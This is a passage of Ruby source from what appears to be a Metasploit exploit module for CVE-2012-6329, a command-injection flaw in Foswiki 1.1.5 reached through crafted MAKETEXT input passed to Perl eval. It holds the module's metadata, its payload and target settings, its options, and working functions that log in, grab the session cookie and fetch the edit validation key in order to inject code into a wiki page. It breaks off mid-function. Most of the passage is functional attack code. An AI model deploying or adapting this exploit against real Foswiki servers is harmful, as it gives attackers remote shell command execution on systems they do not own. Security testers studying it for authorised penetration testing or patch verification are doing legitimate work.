By using a specially crafted MAKETEXT, a malicious user can execute shell commands since the input is passed to the Perl "eval" command without first being sanitized. The problem is caused by an underlying security issue in the CPAN:Locale::Maketext module. Only Foswiki sites that have user interface localization enabled (UserInterfaceInternationalisation variable set) are vulnerable. If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also, if the FoswikiPage option isn't provided, the module will try to create a random page on the SandBox space. The modules has been tested successfully on Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image. }, 'Author' => [ 'Brian Carlson', # original discovery in Perl Locale::Maketext 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-6329' ], [ 'OSVDB', '88410' ], [ 'URL', 'http://foswiki.org/Support/SecurityAlert-CVE-2012-6330' ] ], 'Privileged' => false, # web server context 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic ruby python bash telnet' } }, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Targets' => [[ 'Foswiki 1.1.5', { }]], 'DisclosureDate' => 'Dec 03 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "Foswiki base path", "/" ]), OptString.new('FoswikiPage', [ false, "Foswiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]), OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]), OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ]) ], self.class) end def do_login(username, password) res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{@base}bin/login", 'vars_post' => { 'username' => username, 'password' => password } }) if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/ vprint_status "#{res.code}\n#{res.body}" return nil end session = $1 return session end def inject_code(session, code) vprint_status("Retrieving the validation_key...") res = send_request_cgi({ 'uri' => "#{@base}bin/edit#{@page}", 'cookie' => "FOSWIKISID=#{session}" }) if not res or res.code != 200 or res.body !~ /name='validation_key' value='\?([0-9a-f]*)'/ vprint_error("Error retrieving the validation_key") return nil end validation_key = $1 vprint_good("validation_key found: #{validation_key}") if session.empty?
